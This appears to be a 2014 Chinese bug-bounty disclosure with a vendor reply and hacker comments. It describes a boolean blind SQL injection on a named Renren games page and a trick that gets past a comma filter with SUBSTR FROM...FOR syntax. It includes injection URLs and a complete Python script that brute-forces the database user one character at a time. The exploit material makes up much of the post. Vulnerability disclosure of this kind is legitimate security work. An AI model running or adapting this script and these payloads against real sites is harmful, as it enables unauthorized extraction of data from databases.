人人网某站root权限盲注（附利用技巧）

漏洞页面 http://app.games.renren.com/tags.php?tag=航海之王 为bool型盲注 http://app.games.renren.com/tags.php?tag=航海之王Ž‹' and ''=' 与 http://app.games.renren.com/tags.php?tag=航海之王Ž‹' and '1'=' 页面不同

经分析，过滤了, < > 给我们的利用带来了一定的难度。

主要是在利用substr(user(),1,1)的时候会出现问题。

这里有一个小技巧，以上的语句等价于substr(user() from 1 for 1)，绕过了逗号，就可以继续注入了。

手工太浪费时间，写一个python脚本自己去跑吧

# -*- coding: utf-8 -*-  
 import urllib2  
 import re
 
 pattern = re.compile(r'2012-09-06')#此处是关键字
 
 for count in range(1,100):
     for character in range(0,128):
         payload = 'user()'
         request = urllib2.Request('http://app.games.renren.com/tags.php?tag=%E8%88%AA%E6%B5%B7%E4%B9%8B%E7%8E%8B%27%20and%20ascii%28substr%28' + payload + '%20from%20' + str(count) +'%20for%201%29%29=' + str(character) + '%23')  
         request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0')  
         response = urllib2.urlopen(request)    
         #print character,
         match = pattern.search(response.read())
         if match:
             if character == 0:
                 exit(0)
             else:
                 print '%d --- %s' % (count, chr(character))
                 #print match.group()
                 break

结果如下：

再过滤吧

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-10-02 23:02

厂商回复：

谢谢大牛冯....

最新状态：

暂无

1. 2014-10-02 11:36 | insight-labs ( 普通白帽子 | Rank:809 漏洞数:115 | Security guys)

   0

   冯大辉都转行做安全了啊

   1# 回复此人

2. 2014-10-02 12:01 | Coody ( 核心白帽子 | Rank:1809 漏洞数:214 | 不接单、不黑产；如遇冒名顶替接单收徒、绝...)

   0

   冯大辉都转行做安全了啊

   2# 回复此人

3. 2014-10-02 13:29 | 进击的zjx ( 普通白帽子 | Rank:1712 漏洞数:224 )

   0

   原来大牛你叫冯大辉！华为加班也不让人人网消停！专挑节假日发！

   3# 回复此人

4. 2014-10-02 14:05 | 专业种田 ( 核心白帽子 | Rank:1676 漏洞数:213 | 没有最专业的农民,只有更努力地耕耘..........)

   0

   我是冲着技巧来的!

   4# 回复此人

5. 2014-10-02 16:33 | 茜茜公主 ( 普通白帽子 | Rank:2409 漏洞数:414 | 家里二宝出生，这几个月忙着把屎把尿...忒...)

   0

   我也是来学技巧的

   5# 回复此人

6. 2014-10-02 16:54 | 安然意境 ( 普通白帽子 | Rank:194 漏洞数:83 | 暗室中很难找到黑猫，尤其当里面根本没猫的...)

   0

   为什么不叫fenng呢？

   6# 回复此人

7. 2014-10-02 19:46 | Zombiecc ( 路人 | Rank:0 漏洞数:2 | just for fun.)

   0

   就是为了技巧来的

   7# 回复此人

8. 2014-10-02 21:01 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

   0

   围观大牛冯。

   8# 回复此人

9. 2014-10-03 08:51 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

   0

   为什么不叫fenng呢？

   9# 回复此人